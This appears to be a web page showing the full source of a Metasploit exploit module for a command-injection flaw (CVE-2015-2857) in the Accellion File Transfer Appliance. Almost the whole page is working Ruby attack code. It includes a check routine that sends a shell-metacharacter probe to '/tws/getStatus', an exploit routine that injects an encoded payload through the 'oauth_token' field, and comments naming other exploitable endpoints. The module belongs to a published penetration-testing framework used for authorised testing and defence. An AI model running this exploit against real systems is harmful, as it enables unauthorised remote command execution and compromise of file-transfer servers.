CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Accellion FTA getStatus verify_oauth_token Command Execution',
14
'Description' => %q{
15
This module exploits a metacharacter shell injection vulnerability in the Accellion
16
File Transfer appliance. This vulnerability is triggered when a user-provided
17
'oauth_token' is passed into a system() call within a mod_perl handler. This
18
module exploits the '/tws/getStatus' endpoint. Other vulnerable handlers include
19
'/seos/find.api', '/seos/put.api', and /seos/mput.api'. This issue was confirmed on
20
version FTA_9_11_200, but may apply to previous versions as well. This issue was
21
fixed in software update FTA_9_11_210.
22
},
23
'Author' => [ 'hdm' ],
24
'License' => MSF_LICENSE,
25
'References' =>
26
[
27
['URL', 'http://r-7.co/R7-2015-08'],
28
['CVE', '2015-2857']
29
],
30
'Platform' => ['unix'],
31
'Arch' => ARCH_CMD,
32
'Privileged' => false,
33
'Payload' =>
34
{
35
'Space' => 1024,
36
'DisableNops' => true,
37
'Compat' =>
38
{
39
'PayloadType' => 'cmd',
40
'RequiredCmd' => 'generic perl telnet',
41
}
42
},
43
'Targets' =>
44
[
45
[ 'Automatic', { } ]
46
],
47
'DefaultTarget' => 0,
48
'DisclosureDate' => '2015-07-10'
49
))
50
51
register_options(
52
[
53
Opt::RPORT(443),
54
OptBool.new('SSL', [true, 'Use SSL', true])
55
])
56
end
57
58
def check
59
uri = '/tws/getStatus'
60
61
res = send_request_cgi({
62
'method' => 'POST',
63
'uri' => uri,
64
'vars_post' => {
65
'transaction_id' => rand(0x100000000),
66
'oauth_token' => 'invalid'
67
}})
68
69
unless res && res.code == 200 && res.body.to_s =~ /"result_msg":"MD5 token is invalid"/
70
return Exploit::CheckCode::Safe
71
end
72
73
res = send_request_cgi({
74
'method' => 'POST',
75
'uri' => uri,
76
'vars_post' => {
77
'transaction_id' => rand(0x100000000),
78
'oauth_token' => "';echo '"
79
}})
80
81
unless res && res.code == 200 && res.body.to_s =~ /"result_msg":"Success","transaction_id":"/
82
return Exploit::CheckCode::Safe
83
end
84
85
Msf::Exploit::CheckCode::Vulnerable
86
end
87
88
def exploit
89
90
# The token is embedded into a command line the following:
91
# `/opt/bin/perl /home/seos/system/call_webservice.pl $aid oauth_ws.php verify_access_token '$token' '$scope'`;
92
token = "';#{payload.encoded};echo '"
93
94
uri = '/tws/getStatus'
95
96
# Other exploitable URLs:
97
# * /seos/find.api (works with no other changes to this module)
98
# * /seos/put.api (requires some hoop jumping, upload)
99
# * /seos/mput.api (requires some hoop jumping, token && upload)
100
101
print_status("Sending request for #{uri}...")
102
res = send_request_cgi({
103
'method' => 'POST',
104
'uri' => uri,
105
'vars_post' => {
106
'transaction_id' => rand(0x100000000),
107
'oauth_token' => token
108
}})
109
110
if res && res.code == 200 && res.body.to_s =~ /"result_msg":"Success","transaction_id":"/
111
print_status("Valid response received...")
112
else
113
if res
114
print_error("Unexpected reply from the target: #{res.code} #{res.message} #{res.body}")
115
else
116
print_error("No reply received from the target")
117
end
118
end
119
120
handler
121
end
122
end
123
124